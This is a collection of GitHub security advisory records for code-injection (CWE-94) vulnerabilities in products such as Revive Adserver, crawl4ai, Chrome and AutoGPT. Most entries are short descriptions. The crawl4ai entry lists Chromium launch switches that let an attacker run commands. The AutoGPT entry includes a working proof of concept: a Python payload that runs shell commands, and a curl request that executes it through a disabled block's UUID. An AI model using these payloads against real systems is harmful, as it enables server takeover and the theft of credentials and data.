CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2026-34916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T17:16:53Z",
    "severity": "HIGH"
  },
  "details": "A missing validation of user input when saving delivery limitations in Revive Adserver 6.0.6 and earlier could allow a low\u2011privileged user to use the logical parameter to inject malicious PHP code into the compiledlimitations field on the database and have it executed during banner delivery. Input sanitisation has been improved to ensure that the parameter is properly validated.",
  "id": "GHSA-qxq8-64vv-45v8",
  "modified": "2026-06-23T18:31:41Z",
  "published": "2026-06-23T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34916"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3656781"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-2521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-05-08T18:19:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in common.php in E-GADS! before 2.2.7 allows remote attackers to execute arbitrary PHP code via a URL in the locale parameter.",
  "id": "GHSA-qxrc-mpfr-xpp8",
  "modified": "2022-05-01T18:04:23Z",
  "published": "2022-05-01T18:04:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2521"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/34073"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/project/shownotes.php?group_id=88942\u0026release_id=533122"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/3846"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/35773"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25104"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23817"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-22123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:16Z",
    "severity": "LOW"
  },
  "details": "Setting SMS media allows to set GSM modem file. Later this file is used as Linux device. But due everything is a file for Linux, it is possible to set another file, e.g. log file and zabbix_server will try to communicate with it as modem. As a result, log file will be broken with AT commands and small part for log file content will be leaked to UI.",
  "id": "GHSA-qxrq-fp7f-qqh5",
  "modified": "2025-11-04T00:31:11Z",
  "published": "2024-08-12T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22123"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://support.zabbix.com/browse/ZBX-25013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-21T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in html/admin/modules/plugin_admin.php in HoMaP-CMS 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the _settings[pluginpath] parameter.",
  "id": "GHSA-qxrx-phh6-6wrx",
  "modified": "2025-04-09T04:08:31Z",
  "published": "2022-05-17T00:38:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6740"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43251"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5902"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-4787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-01-12T19:55:00Z",
    "severity": "HIGH"
  },
  "details": "A certain ActiveX control in HPTicketMgr.dll in HP Easy Printer Care Software 2.5 and earlier allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via unspecified vectors, a different vulnerability than CVE-2011-2404 and CVE-2011-4786.",
  "id": "GHSA-qxvx-pjm6-2g2q",
  "modified": "2022-05-13T01:39:24Z",
  "published": "2022-05-13T01:39:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4787"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-01/0078.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-21890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-18T00:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Communications Converged Application Server product of Oracle Communications (component: Core).  Supported versions that are affected are 7.1.0 and  8.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via UDP to compromise Oracle Communications Converged Application Server.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Converged Application Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-r23h-h8pw-fc6p",
  "modified": "2023-01-18T00:30:16Z",
  "published": "2023-01-18T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21890"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "crawl4ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T17:25:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Docker API server accepted a request-supplied `browser_config.extra_args`, which flowed into Chromium\u0027s launch arguments. An attacker could inject Chromium switches that replace a child-process launch command (`--utility-cmd-prefix`, `--renderer-cmd-prefix`, `--gpu-launcher`, `--browser-subprocess-path`) together with `--no-zygote`, causing Chromium to fork/exec an attacker-controlled command as the container\u0027s runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution.\n\nThe earlier `extra_args` SSRF patch (0.8.9) used a denylist scoped to proxy/DNS flags; a denylist of launch switches is inherently incomplete, and these command-execution switches were not covered.\n\n### Affected paths\n\n`/crawl`, `/crawl/stream`, `/crawl/job` accepting a request `browser_config.extra_args`.\n\n### Impact\n\nUnauthenticated remote code execution as the container runtime user; full read/write of application data, mounted secrets, environment, and tokens, and out-of-band exfiltration independent of the HTTP response.\n\n### Fix\n\n0.9.0 establishes a trust boundary for request-supplied configuration: `extra_args` (along with other power fields such as `proxy`, `user_data_dir`, `cdp_url`, `init_scripts`) is a forbidden field for untrusted request bodies. Any request that sets `extra_args` is rejected with HTTP 400 rather than scrubbed against an always-incomplete denylist. In-process SDK callers (trusted) are unaffected.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Enable authentication (`CRAWL4AI_API_TOKEN`) and restrict who can reach the API.\n- Run the container with a restrictive seccomp profile and no ability to exec helper binaries.\n\n### Credits\n\nY4tacker - reported the `--no-zygote` + `--utility-cmd-prefix` command-injection chain with a confirmed in-container PoC and an allowlist/reject recommendation.\nUDU_RisePho (hoanggxyuuki) - independently reported the request-supplied Chromium launch-flag RCE class (`--renderer-cmd-prefix`), confirmed still reproducing on 0.8.9.",
  "id": "GHSA-r253-r9jw-qg44",
  "modified": "2026-06-18T17:25:34Z",
  "published": "2026-06-18T17:25:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-r253-r9jw-qg44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unclecode/crawl4ai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Crawl4AI: Unauthenticated RCE via Chromium launch-argument injection in browser_config.extra_args"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-9938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T23:16:51Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-r26p-5p5q-3j85",
  "modified": "2026-05-29T15:30:31Z",
  "published": "2026-05-29T00:38:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9938"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/502300817"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "agpt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-863",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-29T15:04:03Z",
    "nvd_published_at": "2026-01-29T18:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAutoGPT Platform\u0027s block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.\n\n### Details\n\n**Two vulnerable endpoints exist:**\n\n1. **Main Web API** ([`v1.py#L355-395`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395)) - Any authenticated user:\n\n```python\n@v1_router.post(\n    path=\"/blocks/{block_id}/execute\",\n    dependencies=[Security(requires_user)],  # Just requires login\n)\nasync def execute_graph_block(block_id: str, data: BlockInput, ...):\n    obj = get_block(block_id)\n    if not obj:\n        raise HTTPException(status_code=404, ...)\n\n    # NO CHECK FOR obj.disabled!\n\n    async for name, data in obj.execute(data, ...):\n        output[name].append(data)\n```\n\n2. **External API** ([`external/v1/routes.py#L79-93`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93)) - Same issue.\n\nThe external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including `EXECUTE_BLOCK`) at [`v1.py#L1408-1424`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424). As a result, a low-privilege user can create an API key and invoke the external block execution route.\n\n**The disabled flag is documented but not enforced:**\n\nFrom [`block.py#L459`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459):\n\u003e \"disabled: If the block is disabled, it will not be available for execution.\"\n\nThe block listing endpoint correctly filters disabled blocks (`if not b.disabled`), but the execution endpoints do not check this flag.\n\n**The dangerous block ([`blocks/block.py#L15-78`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78)):**\n\n```python\nclass BlockInstallationBlock(Block):\n    \"\"\"\n    NOTE: This block allows remote code execution on the server,\n    and it should be used for development purposes only.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__(\n            id=\"45e78db5-03e9-447f-9395-308d712f5f08\",  # Hardcoded, public UUID\n            disabled=True,  # NOT ENFORCED!\n        )\n\n    async def run(self, input_data: Input, **kwargs) -\u003e BlockOutput:\n        code = input_data.code\n\n        # Writes attacker code to server filesystem\n        file_path = f\"{block_dir}/{file_name}.py\"\n        with open(file_path, \"w\") as f:\n            f.write(code)\n\n        # Executes via import (RCE)\n        module = __import__(module_name, fromlist=[class_name])\n```\n\n### PoC\n\n**1. Create malicious block code**\n\n```python\nPAYLOAD = \u0027\u0027\u0027\nimport os\nfrom backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput\nfrom backend.data.model import SchemaField\n\nclass RCEBlock(Block):\n    class Input(BlockSchemaInput):\n        cmd: str = SchemaField(description=\"Command\")\n    class Output(BlockSchemaOutput):\n        result: str = SchemaField(description=\"Result\")\n\n    def __init__(self):\n        super().__init__(\n            id=\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n            description=\"RCE\",\n            input_schema=self.Input,\n            output_schema=self.Output,\n        )\n\n    async def run(self, input_data, **kwargs):\n        import subprocess\n        result = subprocess.check_output(input_data.cmd, shell=True).decode()\n        yield \"result\", result\n\u0027\u0027\u0027\n```\n\n**2. Execute via main web API (any logged-in user)**\n\n```bash\n# Get session cookie by logging into the web UI, then:\ncurl -X POST \"https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute\" \\\n  -H \"Cookie: session=\u003cyour_session_cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\": \"\u003cPAYLOAD\u003e\"}\u0027\n```\n\nThe malicious Python code is written to the server\u0027s `backend/blocks/` directory and immediately executed via `__import__()`.\n\n**Alternative route:** Mint an API key with `EXECUTE_BLOCK` via `POST /api-keys`, then call the external API `POST /external-api/v1/blocks/{id}/execute`.\n\n### Impact\n\n**Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.**\n\nThis allows:\n- Complete server compromise\n- Access to all user data, credentials, and API keys stored in the database\n- Access to environment variables (cloud credentials, secrets)\n- Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services)\n- Persistent backdoor installation\n\n**Attack requirements:**\n- Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account)\n- Know the disabled block\u0027s UUID (hardcoded in public source code: `45e78db5-03e9-447f-9395-308d712f5f08`)\n\n**Why the `disabled` flag exists but fails:**\n- Block listing correctly filters disabled blocks (users don\u0027t see them in UI)\n- Execution endpoints bypass this check entirely\n- The UUID is static and publicly known from the open-source codebase\n\n**Severity note:** CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.\n\nA fix is available, but was not published to the PyPI registry at time of publication: [0.6.44](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/v0.6.44)",
  "id": "GHSA-r277-3xc5-c79v",
  "modified": "2026-01-30T00:04:18Z",
  "published": "2026-01-29T15:04:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24780"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Significant-Gravitas/AutoGPT"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AutoGPT is Vulnerable to RCE via Disabled Block Execution"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-56448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-08T04:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability of improper access control in the home screen widget module\nImpact: Successful exploitation of this vulnerability may affect availability.",
  "id": "GHSA-r28w-28pr-5j83",
  "modified": "2025-01-08T06:30:55Z",
  "published": "2025-01-08T06:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56448"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2025/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}